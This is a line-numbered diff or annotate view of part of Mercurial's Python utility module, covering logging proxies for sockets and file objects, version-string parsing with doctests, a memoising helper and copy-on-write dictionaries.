566 def _fillbuffer(self):
566 res = super(observedbufferedinputpipe, self)._fillbuffer()
567 res = super(observedbufferedinputpipe, self)._fillbuffer()
567
568
568 fn = getattr(self._input._observer, r'osread', None)
569 fn = getattr(self._input._observer, r'osread', None)
569 if fn:
570 if fn:
570 fn(res, _chunksize)
571 fn(res, _chunksize)
571
572
572 return res
573 return res
573
574
574 # We use different observer methods because the operation isn't
575 # We use different observer methods because the operation isn't
575 # performed on the actual file object but on us.
576 # performed on the actual file object but on us.
576 def read(self, size):
577 def read(self, size):
577 res = super(observedbufferedinputpipe, self).read(size)
578 res = super(observedbufferedinputpipe, self).read(size)
578
579
579 fn = getattr(self._input._observer, r'bufferedread', None)
580 fn = getattr(self._input._observer, r'bufferedread', None)
580 if fn:
581 if fn:
581 fn(res, size)
582 fn(res, size)
582
583
583 return res
584 return res
584
585
585 def readline(self, *args, **kwargs):
586 def readline(self, *args, **kwargs):
586 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
587 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
587
588
588 fn = getattr(self._input._observer, r'bufferedreadline', None)
589 fn = getattr(self._input._observer, r'bufferedreadline', None)
589 if fn:
590 if fn:
590 fn(res)
591 fn(res)
591
592
592 return res
593 return res
593
594
594 PROXIED_SOCKET_METHODS = {
595 PROXIED_SOCKET_METHODS = {
595 r'makefile',
596 r'makefile',
596 r'recv',
597 r'recv',
597 r'recvfrom',
598 r'recvfrom',
598 r'recvfrom_into',
599 r'recvfrom_into',
599 r'recv_into',
600 r'recv_into',
600 r'send',
601 r'send',
601 r'sendall',
602 r'sendall',
602 r'sendto',
603 r'sendto',
603 r'setblocking',
604 r'setblocking',
604 r'settimeout',
605 r'settimeout',
605 r'gettimeout',
606 r'gettimeout',
606 r'setsockopt',
607 r'setsockopt',
607 }
608 }
608
609
609 class socketproxy(object):
610 class socketproxy(object):
610 """A proxy around a socket that tells a watcher when events occur.
611 """A proxy around a socket that tells a watcher when events occur.
611
612
612 This is like ``fileobjectproxy`` except for sockets.
613 This is like ``fileobjectproxy`` except for sockets.
613
614
614 This type is intended to only be used for testing purposes. Think hard
615 This type is intended to only be used for testing purposes. Think hard
615 before using it in important code.
616 before using it in important code.
616 """
617 """
617 __slots__ = (
618 __slots__ = (
618 r'_orig',
619 r'_orig',
619 r'_observer',
620 r'_observer',
620 )
621 )
621
622
622 def __init__(self, sock, observer):
623 def __init__(self, sock, observer):
623 object.__setattr__(self, r'_orig', sock)
624 object.__setattr__(self, r'_orig', sock)
624 object.__setattr__(self, r'_observer', observer)
625 object.__setattr__(self, r'_observer', observer)
625
626
626 def __getattribute__(self, name):
627 def __getattribute__(self, name):
627 if name in PROXIED_SOCKET_METHODS:
628 if name in PROXIED_SOCKET_METHODS:
628 return object.__getattribute__(self, name)
629 return object.__getattribute__(self, name)
629
630
630 return getattr(object.__getattribute__(self, r'_orig'), name)
631 return getattr(object.__getattribute__(self, r'_orig'), name)
631
632
632 def __delattr__(self, name):
633 def __delattr__(self, name):
633 return delattr(object.__getattribute__(self, r'_orig'), name)
634 return delattr(object.__getattribute__(self, r'_orig'), name)
634
635
635 def __setattr__(self, name, value):
636 def __setattr__(self, name, value):
636 return setattr(object.__getattribute__(self, r'_orig'), name, value)
637 return setattr(object.__getattribute__(self, r'_orig'), name, value)
637
638
638 def __nonzero__(self):
639 def __nonzero__(self):
639 return bool(object.__getattribute__(self, r'_orig'))
640 return bool(object.__getattribute__(self, r'_orig'))
640
641
641 __bool__ = __nonzero__
642 __bool__ = __nonzero__
642
643
643 def _observedcall(self, name, *args, **kwargs):
644 def _observedcall(self, name, *args, **kwargs):
644 # Call the original object.
645 # Call the original object.
645 orig = object.__getattribute__(self, r'_orig')
646 orig = object.__getattribute__(self, r'_orig')
646 res = getattr(orig, name)(*args, **kwargs)
647 res = getattr(orig, name)(*args, **kwargs)
647
648
648 # Call a method on the observer of the same name with arguments
649 # Call a method on the observer of the same name with arguments
649 # so it can react, log, etc.
650 # so it can react, log, etc.
650 observer = object.__getattribute__(self, r'_observer')
651 observer = object.__getattribute__(self, r'_observer')
651 fn = getattr(observer, name, None)
652 fn = getattr(observer, name, None)
652 if fn:
653 if fn:
653 fn(res, *args, **kwargs)
654 fn(res, *args, **kwargs)
654
655
655 return res
656 return res
656
657
657 def makefile(self, *args, **kwargs):
658 def makefile(self, *args, **kwargs):
658 res = object.__getattribute__(self, r'_observedcall')(
659 res = object.__getattribute__(self, r'_observedcall')(
659 r'makefile', *args, **kwargs)
660 r'makefile', *args, **kwargs)
660
661
661 # The file object may be used for I/O. So we turn it into a
662 # The file object may be used for I/O. So we turn it into a
662 # proxy using our observer.
663 # proxy using our observer.
663 observer = object.__getattribute__(self, r'_observer')
664 observer = object.__getattribute__(self, r'_observer')
664 return makeloggingfileobject(observer.fh, res, observer.name,
665 return makeloggingfileobject(observer.fh, res, observer.name,
665 reads=observer.reads,
666 reads=observer.reads,
666 writes=observer.writes,
667 writes=observer.writes,
667 logdata=observer.logdata,
668 logdata=observer.logdata,
668 logdataapis=observer.logdataapis)
669 logdataapis=observer.logdataapis)
669
670
670 def recv(self, *args, **kwargs):
671 def recv(self, *args, **kwargs):
671 return object.__getattribute__(self, r'_observedcall')(
672 return object.__getattribute__(self, r'_observedcall')(
672 r'recv', *args, **kwargs)
673 r'recv', *args, **kwargs)
673
674
674 def recvfrom(self, *args, **kwargs):
675 def recvfrom(self, *args, **kwargs):
675 return object.__getattribute__(self, r'_observedcall')(
676 return object.__getattribute__(self, r'_observedcall')(
676 r'recvfrom', *args, **kwargs)
677 r'recvfrom', *args, **kwargs)
677
678
678 def recvfrom_into(self, *args, **kwargs):
679 def recvfrom_into(self, *args, **kwargs):
679 return object.__getattribute__(self, r'_observedcall')(
680 return object.__getattribute__(self, r'_observedcall')(
680 r'recvfrom_into', *args, **kwargs)
681 r'recvfrom_into', *args, **kwargs)
681
682
682 def recv_into(self, *args, **kwargs):
683 def recv_into(self, *args, **kwargs):
683 return object.__getattribute__(self, r'_observedcall')(
684 return object.__getattribute__(self, r'_observedcall')(
684 r'recv_info', *args, **kwargs)
685 r'recv_info', *args, **kwargs)
685
686
686 def send(self, *args, **kwargs):
687 def send(self, *args, **kwargs):
687 return object.__getattribute__(self, r'_observedcall')(
688 return object.__getattribute__(self, r'_observedcall')(
688 r'send', *args, **kwargs)
689 r'send', *args, **kwargs)
689
690
690 def sendall(self, *args, **kwargs):
691 def sendall(self, *args, **kwargs):
691 return object.__getattribute__(self, r'_observedcall')(
692 return object.__getattribute__(self, r'_observedcall')(
692 r'sendall', *args, **kwargs)
693 r'sendall', *args, **kwargs)
693
694
694 def sendto(self, *args, **kwargs):
695 def sendto(self, *args, **kwargs):
695 return object.__getattribute__(self, r'_observedcall')(
696 return object.__getattribute__(self, r'_observedcall')(
696 r'sendto', *args, **kwargs)
697 r'sendto', *args, **kwargs)
697
698
698 def setblocking(self, *args, **kwargs):
699 def setblocking(self, *args, **kwargs):
699 return object.__getattribute__(self, r'_observedcall')(
700 return object.__getattribute__(self, r'_observedcall')(
700 r'setblocking', *args, **kwargs)
701 r'setblocking', *args, **kwargs)
701
702
702 def settimeout(self, *args, **kwargs):
703 def settimeout(self, *args, **kwargs):
703 return object.__getattribute__(self, r'_observedcall')(
704 return object.__getattribute__(self, r'_observedcall')(
704 r'settimeout', *args, **kwargs)
705 r'settimeout', *args, **kwargs)
705
706
706 def gettimeout(self, *args, **kwargs):
707 def gettimeout(self, *args, **kwargs):
707 return object.__getattribute__(self, r'_observedcall')(
708 return object.__getattribute__(self, r'_observedcall')(
708 r'gettimeout', *args, **kwargs)
709 r'gettimeout', *args, **kwargs)
709
710
710 def setsockopt(self, *args, **kwargs):
711 def setsockopt(self, *args, **kwargs):
711 return object.__getattribute__(self, r'_observedcall')(
712 return object.__getattribute__(self, r'_observedcall')(
712 r'setsockopt', *args, **kwargs)
713 r'setsockopt', *args, **kwargs)
713
714
714 class baseproxyobserver(object):
715 class baseproxyobserver(object):
715 def _writedata(self, data):
716 def _writedata(self, data):
716 if not self.logdata:
717 if not self.logdata:
717 if self.logdataapis:
718 if self.logdataapis:
718 self.fh.write('\n')
719 self.fh.write('\n')
719 self.fh.flush()
720 self.fh.flush()
720 return
721 return
721
722
722 # Simple case writes all data on a single line.
723 # Simple case writes all data on a single line.
723 if b'\n' not in data:
724 if b'\n' not in data:
724 if self.logdataapis:
725 if self.logdataapis:
725 self.fh.write(': %s\n' % stringutil.escapestr(data))
726 self.fh.write(': %s\n' % stringutil.escapestr(data))
726 else:
727 else:
727 self.fh.write('%s> %s\n'
728 self.fh.write('%s> %s\n'
728 % (self.name, stringutil.escapestr(data)))
729 % (self.name, stringutil.escapestr(data)))
729 self.fh.flush()
730 self.fh.flush()
730 return
731 return
731
732
732 # Data with newlines is written to multiple lines.
733 # Data with newlines is written to multiple lines.
733 if self.logdataapis:
734 if self.logdataapis:
734 self.fh.write(':\n')
735 self.fh.write(':\n')
735
736
736 lines = data.splitlines(True)
737 lines = data.splitlines(True)
737 for line in lines:
738 for line in lines:
738 self.fh.write('%s> %s\n'
739 self.fh.write('%s> %s\n'
739 % (self.name, stringutil.escapestr(line)))
740 % (self.name, stringutil.escapestr(line)))
740 self.fh.flush()
741 self.fh.flush()
741
742
742 class fileobjectobserver(baseproxyobserver):
743 class fileobjectobserver(baseproxyobserver):
743 """Logs file object activity."""
744 """Logs file object activity."""
744 def __init__(self, fh, name, reads=True, writes=True, logdata=False,
745 def __init__(self, fh, name, reads=True, writes=True, logdata=False,
745 logdataapis=True):
746 logdataapis=True):
746 self.fh = fh
747 self.fh = fh
747 self.name = name
748 self.name = name
748 self.logdata = logdata
749 self.logdata = logdata
749 self.logdataapis = logdataapis
750 self.logdataapis = logdataapis
750 self.reads = reads
751 self.reads = reads
751 self.writes = writes
752 self.writes = writes
752
753
753 def read(self, res, size=-1):
754 def read(self, res, size=-1):
754 if not self.reads:
755 if not self.reads:
755 return
756 return
756 # Python 3 can return None from reads at EOF instead of empty strings.
757 # Python 3 can return None from reads at EOF instead of empty strings.
757 if res is None:
758 if res is None:
758 res = ''
759 res = ''
759
760
760 if size == -1 and res == '':
761 if size == -1 and res == '':
761 # Suppress pointless read(-1) calls that return
762 # Suppress pointless read(-1) calls that return
762 # nothing. These happen _a lot_ on Python 3, and there
763 # nothing. These happen _a lot_ on Python 3, and there
763 # doesn't seem to be a better workaround to have matching
764 # doesn't seem to be a better workaround to have matching
764 # Python 2 and 3 behavior. :(
765 # Python 2 and 3 behavior. :(
765 return
766 return
766
767
767 if self.logdataapis:
768 if self.logdataapis:
768 self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))
769 self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))
769
770
770 self._writedata(res)
771 self._writedata(res)
771
772
772 def readline(self, res, limit=-1):
773 def readline(self, res, limit=-1):
773 if not self.reads:
774 if not self.reads:
774 return
775 return
775
776
776 if self.logdataapis:
777 if self.logdataapis:
777 self.fh.write('%s> readline() -> %d' % (self.name, len(res)))
778 self.fh.write('%s> readline() -> %d' % (self.name, len(res)))
778
779
779 self._writedata(res)
780 self._writedata(res)
780
781
781 def readinto(self, res, dest):
782 def readinto(self, res, dest):
782 if not self.reads:
783 if not self.reads:
783 return
784 return
784
785
785 if self.logdataapis:
786 if self.logdataapis:
786 self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest),
787 self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest),
787 res))
788 res))
788
789
789 data = dest[0:res] if res is not None else b''
790 data = dest[0:res] if res is not None else b''
790 self._writedata(data)
791 self._writedata(data)
791
792
792 def write(self, res, data):
793 def write(self, res, data):
793 if not self.writes:
794 if not self.writes:
794 return
795 return
795
796
796 # Python 2 returns None from some write() calls. Python 3 (reasonably)
797 # Python 2 returns None from some write() calls. Python 3 (reasonably)
797 # returns the integer bytes written.
798 # returns the integer bytes written.
798 if res is None and data:
799 if res is None and data:
799 res = len(data)
800 res = len(data)
800
801
801 if self.logdataapis:
802 if self.logdataapis:
802 self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))
803 self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))
803
804
804 self._writedata(data)
805 self._writedata(data)
805
806
806 def flush(self, res):
807 def flush(self, res):
807 if not self.writes:
808 if not self.writes:
808 return
809 return
809
810
810 self.fh.write('%s> flush() -> %r\n' % (self.name, res))
811 self.fh.write('%s> flush() -> %r\n' % (self.name, res))
811
812
812 # For observedbufferedinputpipe.
813 # For observedbufferedinputpipe.
813 def bufferedread(self, res, size):
814 def bufferedread(self, res, size):
814 if not self.reads:
815 if not self.reads:
815 return
816 return
816
817
817 if self.logdataapis:
818 if self.logdataapis:
818 self.fh.write('%s> bufferedread(%d) -> %d' % (
819 self.fh.write('%s> bufferedread(%d) -> %d' % (
819 self.name, size, len(res)))
820 self.name, size, len(res)))
820
821
821 self._writedata(res)
822 self._writedata(res)
822
823
823 def bufferedreadline(self, res):
824 def bufferedreadline(self, res):
824 if not self.reads:
825 if not self.reads:
825 return
826 return
826
827
827 if self.logdataapis:
828 if self.logdataapis:
828 self.fh.write('%s> bufferedreadline() -> %d' % (
829 self.fh.write('%s> bufferedreadline() -> %d' % (
829 self.name, len(res)))
830 self.name, len(res)))
830
831
831 self._writedata(res)
832 self._writedata(res)
832
833
833 def makeloggingfileobject(logh, fh, name, reads=True, writes=True,
834 def makeloggingfileobject(logh, fh, name, reads=True, writes=True,
834 logdata=False, logdataapis=True):
835 logdata=False, logdataapis=True):
835 """Turn a file object into a logging file object."""
836 """Turn a file object into a logging file object."""
836
837
837 observer = fileobjectobserver(logh, name, reads=reads, writes=writes,
838 observer = fileobjectobserver(logh, name, reads=reads, writes=writes,
838 logdata=logdata, logdataapis=logdataapis)
839 logdata=logdata, logdataapis=logdataapis)
839 return fileobjectproxy(fh, observer)
840 return fileobjectproxy(fh, observer)
840
841
841 class socketobserver(baseproxyobserver):
842 class socketobserver(baseproxyobserver):
842 """Logs socket activity."""
843 """Logs socket activity."""
843 def __init__(self, fh, name, reads=True, writes=True, states=True,
844 def __init__(self, fh, name, reads=True, writes=True, states=True,
844 logdata=False, logdataapis=True):
845 logdata=False, logdataapis=True):
845 self.fh = fh
846 self.fh = fh
846 self.name = name
847 self.name = name
847 self.reads = reads
848 self.reads = reads
848 self.writes = writes
849 self.writes = writes
849 self.states = states
850 self.states = states
850 self.logdata = logdata
851 self.logdata = logdata
851 self.logdataapis = logdataapis
852 self.logdataapis = logdataapis
852
853
853 def makefile(self, res, mode=None, bufsize=None):
854 def makefile(self, res, mode=None, bufsize=None):
854 if not self.states:
855 if not self.states:
855 return
856 return
856
857
857 self.fh.write('%s> makefile(%r, %r)\n' % (
858 self.fh.write('%s> makefile(%r, %r)\n' % (
858 self.name, mode, bufsize))
859 self.name, mode, bufsize))
859
860
860 def recv(self, res, size, flags=0):
861 def recv(self, res, size, flags=0):
861 if not self.reads:
862 if not self.reads:
862 return
863 return
863
864
864 if self.logdataapis:
865 if self.logdataapis:
865 self.fh.write('%s> recv(%d, %d) -> %d' % (
866 self.fh.write('%s> recv(%d, %d) -> %d' % (
866 self.name, size, flags, len(res)))
867 self.name, size, flags, len(res)))
867 self._writedata(res)
868 self._writedata(res)
868
869
869 def recvfrom(self, res, size, flags=0):
870 def recvfrom(self, res, size, flags=0):
870 if not self.reads:
871 if not self.reads:
871 return
872 return
872
873
873 if self.logdataapis:
874 if self.logdataapis:
874 self.fh.write('%s> recvfrom(%d, %d) -> %d' % (
875 self.fh.write('%s> recvfrom(%d, %d) -> %d' % (
875 self.name, size, flags, len(res[0])))
876 self.name, size, flags, len(res[0])))
876
877
877 self._writedata(res[0])
878 self._writedata(res[0])
878
879
879 def recvfrom_into(self, res, buf, size, flags=0):
880 def recvfrom_into(self, res, buf, size, flags=0):
880 if not self.reads:
881 if not self.reads:
881 return
882 return
882
883
883 if self.logdataapis:
884 if self.logdataapis:
884 self.fh.write('%s> recvfrom_into(%d, %d) -> %d' % (
885 self.fh.write('%s> recvfrom_into(%d, %d) -> %d' % (
885 self.name, size, flags, res[0]))
886 self.name, size, flags, res[0]))
886
887
887 self._writedata(buf[0:res[0]])
888 self._writedata(buf[0:res[0]])
888
889
889 def recv_into(self, res, buf, size=0, flags=0):
890 def recv_into(self, res, buf, size=0, flags=0):
890 if not self.reads:
891 if not self.reads:
891 return
892 return
892
893
893 if self.logdataapis:
894 if self.logdataapis:
894 self.fh.write('%s> recv_into(%d, %d) -> %d' % (
895 self.fh.write('%s> recv_into(%d, %d) -> %d' % (
895 self.name, size, flags, res))
896 self.name, size, flags, res))
896
897
897 self._writedata(buf[0:res])
898 self._writedata(buf[0:res])
898
899
899 def send(self, res, data, flags=0):
900 def send(self, res, data, flags=0):
900 if not self.writes:
901 if not self.writes:
901 return
902 return
902
903
903 self.fh.write('%s> send(%d, %d) -> %d' % (
904 self.fh.write('%s> send(%d, %d) -> %d' % (
904 self.name, len(data), flags, len(res)))
905 self.name, len(data), flags, len(res)))
905 self._writedata(data)
906 self._writedata(data)
906
907
907 def sendall(self, res, data, flags=0):
908 def sendall(self, res, data, flags=0):
908 if not self.writes:
909 if not self.writes:
909 return
910 return
910
911
911 if self.logdataapis:
912 if self.logdataapis:
912 # Returns None on success. So don't bother reporting return value.
913 # Returns None on success. So don't bother reporting return value.
913 self.fh.write('%s> sendall(%d, %d)' % (
914 self.fh.write('%s> sendall(%d, %d)' % (
914 self.name, len(data), flags))
915 self.name, len(data), flags))
915
916
916 self._writedata(data)
917 self._writedata(data)
917
918
918 def sendto(self, res, data, flagsoraddress, address=None):
919 def sendto(self, res, data, flagsoraddress, address=None):
919 if not self.writes:
920 if not self.writes:
920 return
921 return
921
922
922 if address:
923 if address:
923 flags = flagsoraddress
924 flags = flagsoraddress
924 else:
925 else:
925 flags = 0
926 flags = 0
926
927
927 if self.logdataapis:
928 if self.logdataapis:
928 self.fh.write('%s> sendto(%d, %d, %r) -> %d' % (
929 self.fh.write('%s> sendto(%d, %d, %r) -> %d' % (
929 self.name, len(data), flags, address, res))
930 self.name, len(data), flags, address, res))
930
931
931 self._writedata(data)
932 self._writedata(data)
932
933
933 def setblocking(self, res, flag):
934 def setblocking(self, res, flag):
934 if not self.states:
935 if not self.states:
935 return
936 return
936
937
937 self.fh.write('%s> setblocking(%r)\n' % (self.name, flag))
938 self.fh.write('%s> setblocking(%r)\n' % (self.name, flag))
938
939
939 def settimeout(self, res, value):
940 def settimeout(self, res, value):
940 if not self.states:
941 if not self.states:
941 return
942 return
942
943
943 self.fh.write('%s> settimeout(%r)\n' % (self.name, value))
944 self.fh.write('%s> settimeout(%r)\n' % (self.name, value))
944
945
945 def gettimeout(self, res):
946 def gettimeout(self, res):
946 if not self.states:
947 if not self.states:
947 return
948 return
948
949
949 self.fh.write('%s> gettimeout() -> %f\n' % (self.name, res))
950 self.fh.write('%s> gettimeout() -> %f\n' % (self.name, res))
950
951
951 def setsockopt(self, res, level, optname, value):
952 def setsockopt(self, res, level, optname, value):
952 if not self.states:
953 if not self.states:
953 return
954 return
954
955
955 self.fh.write('%s> setsockopt(%r, %r, %r) -> %r\n' % (
956 self.fh.write('%s> setsockopt(%r, %r, %r) -> %r\n' % (
956 self.name, level, optname, value, res))
957 self.name, level, optname, value, res))
957
958
958 def makeloggingsocket(logh, fh, name, reads=True, writes=True, states=True,
959 def makeloggingsocket(logh, fh, name, reads=True, writes=True, states=True,
959 logdata=False, logdataapis=True):
960 logdata=False, logdataapis=True):
960 """Turn a socket into a logging socket."""
961 """Turn a socket into a logging socket."""
961
962
962 observer = socketobserver(logh, name, reads=reads, writes=writes,
963 observer = socketobserver(logh, name, reads=reads, writes=writes,
963 states=states, logdata=logdata,
964 states=states, logdata=logdata,
964 logdataapis=logdataapis)
965 logdataapis=logdataapis)
965 return socketproxy(fh, observer)
966 return socketproxy(fh, observer)
966
967
967 def version():
968 def version():
968 """Return version information if available."""
969 """Return version information if available."""
969 try:
970 try:
970 from . import __version__
971 from . import __version__
971 return __version__.version
972 return __version__.version
972 except ImportError:
973 except ImportError:
973 return 'unknown'
974 return 'unknown'
974
975
975 def versiontuple(v=None, n=4):
976 def versiontuple(v=None, n=4):
976 """Parses a Mercurial version string into an N-tuple.
977 """Parses a Mercurial version string into an N-tuple.
977
978
978 The version string to be parsed is specified with the ``v`` argument.
979 The version string to be parsed is specified with the ``v`` argument.
979 If it isn't defined, the current Mercurial version string will be parsed.
980 If it isn't defined, the current Mercurial version string will be parsed.
980
981
981 ``n`` can be 2, 3, or 4. Here is how some version strings map to
982 ``n`` can be 2, 3, or 4. Here is how some version strings map to
982 returned values:
983 returned values:
983
984
984 >>> v = b'3.6.1+190-df9b73d2d444'
985 >>> v = b'3.6.1+190-df9b73d2d444'
985 >>> versiontuple(v, 2)
986 >>> versiontuple(v, 2)
986 (3, 6)
987 (3, 6)
987 >>> versiontuple(v, 3)
988 >>> versiontuple(v, 3)
988 (3, 6, 1)
989 (3, 6, 1)
989 >>> versiontuple(v, 4)
990 >>> versiontuple(v, 4)
990 (3, 6, 1, '190-df9b73d2d444')
991 (3, 6, 1, '190-df9b73d2d444')
991
992
992 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
993 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
993 (3, 6, 1, '190-df9b73d2d444+20151118')
994 (3, 6, 1, '190-df9b73d2d444+20151118')
994
995
995 >>> v = b'3.6'
996 >>> v = b'3.6'
996 >>> versiontuple(v, 2)
997 >>> versiontuple(v, 2)
997 (3, 6)
998 (3, 6)
998 >>> versiontuple(v, 3)
999 >>> versiontuple(v, 3)
999 (3, 6, None)
1000 (3, 6, None)
1000 >>> versiontuple(v, 4)
1001 >>> versiontuple(v, 4)
1001 (3, 6, None, None)
1002 (3, 6, None, None)
1002
1003
1003 >>> v = b'3.9-rc'
1004 >>> v = b'3.9-rc'
1004 >>> versiontuple(v, 2)
1005 >>> versiontuple(v, 2)
1005 (3, 9)
1006 (3, 9)
1006 >>> versiontuple(v, 3)
1007 >>> versiontuple(v, 3)
1007 (3, 9, None)
1008 (3, 9, None)
1008 >>> versiontuple(v, 4)
1009 >>> versiontuple(v, 4)
1009 (3, 9, None, 'rc')
1010 (3, 9, None, 'rc')
1010
1011
1011 >>> v = b'3.9-rc+2-02a8fea4289b'
1012 >>> v = b'3.9-rc+2-02a8fea4289b'
1012 >>> versiontuple(v, 2)
1013 >>> versiontuple(v, 2)
1013 (3, 9)
1014 (3, 9)
1014 >>> versiontuple(v, 3)
1015 >>> versiontuple(v, 3)
1015 (3, 9, None)
1016 (3, 9, None)
1016 >>> versiontuple(v, 4)
1017 >>> versiontuple(v, 4)
1017 (3, 9, None, 'rc+2-02a8fea4289b')
1018 (3, 9, None, 'rc+2-02a8fea4289b')
1018
1019
1019 >>> versiontuple(b'4.6rc0')
1020 >>> versiontuple(b'4.6rc0')
1020 (4, 6, None, 'rc0')
1021 (4, 6, None, 'rc0')
1021 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
1022 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
1022 (4, 6, None, 'rc0+12-425d55e54f98')
1023 (4, 6, None, 'rc0+12-425d55e54f98')
1023 >>> versiontuple(b'.1.2.3')
1024 >>> versiontuple(b'.1.2.3')
1024 (None, None, None, '.1.2.3')
1025 (None, None, None, '.1.2.3')
1025 >>> versiontuple(b'12.34..5')
1026 >>> versiontuple(b'12.34..5')
1026 (12, 34, None, '..5')
1027 (12, 34, None, '..5')
1027 >>> versiontuple(b'1.2.3.4.5.6')
1028 >>> versiontuple(b'1.2.3.4.5.6')
1028 (1, 2, 3, '.4.5.6')
1029 (1, 2, 3, '.4.5.6')
1029 """
1030 """
1030 if not v:
1031 if not v:
1031 v = version()
1032 v = version()
1032 m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v)
1033 m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v)
1033 if not m:
1034 if not m:
1034 vparts, extra = '', v
1035 vparts, extra = '', v
1035 elif m.group(2):
1036 elif m.group(2):
1036 vparts, extra = m.groups()
1037 vparts, extra = m.groups()
1037 else:
1038 else:
1038 vparts, extra = m.group(1), None
1039 vparts, extra = m.group(1), None
1039
1040
1040 vints = []
1041 vints = []
1041 for i in vparts.split('.'):
1042 for i in vparts.split('.'):
1042 try:
1043 try:
1043 vints.append(int(i))
1044 vints.append(int(i))
1044 except ValueError:
1045 except ValueError:
1045 break
1046 break
1046 # (3, 6) -> (3, 6, None)
1047 # (3, 6) -> (3, 6, None)
1047 while len(vints) < 3:
1048 while len(vints) < 3:
1048 vints.append(None)
1049 vints.append(None)
1049
1050
1050 if n == 2:
1051 if n == 2:
1051 return (vints[0], vints[1])
1052 return (vints[0], vints[1])
1052 if n == 3:
1053 if n == 3:
1053 return (vints[0], vints[1], vints[2])
1054 return (vints[0], vints[1], vints[2])
1054 if n == 4:
1055 if n == 4:
1055 return (vints[0], vints[1], vints[2], extra)
1056 return (vints[0], vints[1], vints[2], extra)
1056
1057
1057 def cachefunc(func):
1058 def cachefunc(func):
1058 '''cache the result of function calls'''
1059 '''cache the result of function calls'''
1059 # XXX doesn't handle keywords args
1060 # XXX doesn't handle keywords args
1060 if func.__code__.co_argcount == 0:
1061 if func.__code__.co_argcount == 0:
1061 cache = []
1062 cache = []
1062 def f():
1063 def f():
1063 if len(cache) == 0:
1064 if len(cache) == 0:
1064 cache.append(func())
1065 cache.append(func())
1065 return cache[0]
1066 return cache[0]
1066 return f
1067 return f
1067 cache = {}
1068 cache = {}
1068 if func.__code__.co_argcount == 1:
1069 if func.__code__.co_argcount == 1:
1069 # we gain a small amount of time because
1070 # we gain a small amount of time because
1070 # we don't need to pack/unpack the list
1071 # we don't need to pack/unpack the list
1071 def f(arg):
1072 def f(arg):
1072 if arg not in cache:
1073 if arg not in cache:
1073 cache[arg] = func(arg)
1074 cache[arg] = func(arg)
1074 return cache[arg]
1075 return cache[arg]
1075 else:
1076 else:
1076 def f(*args):
1077 def f(*args):
1077 if args not in cache:
1078 if args not in cache:
1078 cache[args] = func(*args)
1079 cache[args] = func(*args)
1079 return cache[args]
1080 return cache[args]
1080
1081
1081 return f
1082 return f
1082
1083
1083 class cow(object):
1084 class cow(object):
1084 """helper class to make copy-on-write easier
1085 """helper class to make copy-on-write easier
1085
1086
1086 Call preparewrite before doing any writes.
1087 Call preparewrite before doing any writes.
1087 """
1088 """
1088
1089
1089 def preparewrite(self):
1090 def preparewrite(self):
1090 """call this before writes, return self or a copied new object"""
1091 """call this before writes, return self or a copied new object"""
1091 if getattr(self, '_copied', 0):
1092 if getattr(self, '_copied', 0):
1092 self._copied -= 1
1093 self._copied -= 1
1093 return self.__class__(self)
1094 return self.__class__(self)
1094 return self
1095 return self
1095
1096
1096 def copy(self):
1097 def copy(self):
1097 """always do a cheap copy"""
1098 """always do a cheap copy"""
1098 self._copied = getattr(self, '_copied', 0) + 1
1099 self._copied = getattr(self, '_copied', 0) + 1
1099 return self
1100 return self
1100
1101
1101 class sortdict(collections.OrderedDict):
1102 class sortdict(collections.OrderedDict):
1102 '''a simple sorted dictionary
1103 '''a simple sorted dictionary
1103
1104
1104 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1105 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1105 >>> d2 = d1.copy()
1106 >>> d2 = d1.copy()
1106 >>> d2
1107 >>> d2
1107 sortdict([('a', 0), ('b', 1)])
1108 sortdict([('a', 0), ('b', 1)])
1108 >>> d2.update([(b'a', 2)])
1109 >>> d2.update([(b'a', 2)])
1109 >>> list(d2.keys()) # should still be in last-set order
1110 >>> list(d2.keys()) # should still be in last-set order
1110 ['b', 'a']
1111 ['b', 'a']
1111 '''
1112 '''
1112
1113
1113 def __setitem__(self, key, value):
1114 def __setitem__(self, key, value):
1114 if key in self:
1115 if key in self:
1115 del self[key]
1116 del self[key]
1116 super(sortdict, self).__setitem__(key, value)
1117 super(sortdict, self).__setitem__(key, value)
1117
1118
1118 if pycompat.ispypy:
1119 if pycompat.ispypy:
1119 # __setitem__() isn't called as of PyPy 5.8.0
1120 # __setitem__() isn't called as of PyPy 5.8.0
1120 def update(self, src):
1121 def update(self, src):
1121 if isinstance(src, dict):
1122 if isinstance(src, dict):
1122 src = src.iteritems()
1123 src = src.iteritems()
1123 for k, v in src:
1124 for k, v in src:
1124 self[k] = v
1125 self[k] = v
1125
1126
1126 class cowdict(cow, dict):
1127 class cowdict(cow, dict):
1127 """copy-on-write dict
1128 """copy-on-write dict
1128
1129
1129 Be sure to call d = d.preparewrite() before writing to d.
1130 Be sure to call d = d.preparewrite() before writing to d.
1130
1131
1131 >>> a = cowdict()
1132 >>> a = cowdict()
1132 >>> a is a.preparewrite()
1133 >>> a is a.preparewrite()
1133 True
1134 True
1134 >>> b = a.copy()
1135 >>> b = a.copy()
1135 >>> b is a
1136 >>> b is a
1136 True
1137 True
1137 >>> c = b.copy()
1138 >>> c = b.copy()
1138 >>> c is a
1139 >>> c is a
1139 True
1140 True
1140 >>> a = a.preparewrite()
1141 >>> a = a.preparewrite()
1141 >>> b is a
1142 >>> b is a
1142 False
1143 False
1143 >>> a is a.preparewrite()
1144 >>> a is a.preparewrite()
1144 True
1145 True
1145 >>> c = c.preparewrite()
1146 >>> c = c.preparewrite()
1146 >>> b is c
1147 >>> b is c
1147 False
1148 False
1148 >>> b is b.preparewrite()
1149 >>> b is b.preparewrite()
1149 True
1150 True
1150 """
1151 """
1151
1152
1152 class cowsortdict(cow, sortdict):
1153 class cowsortdict(cow, sortdict):
1153 """copy-on-write sortdict
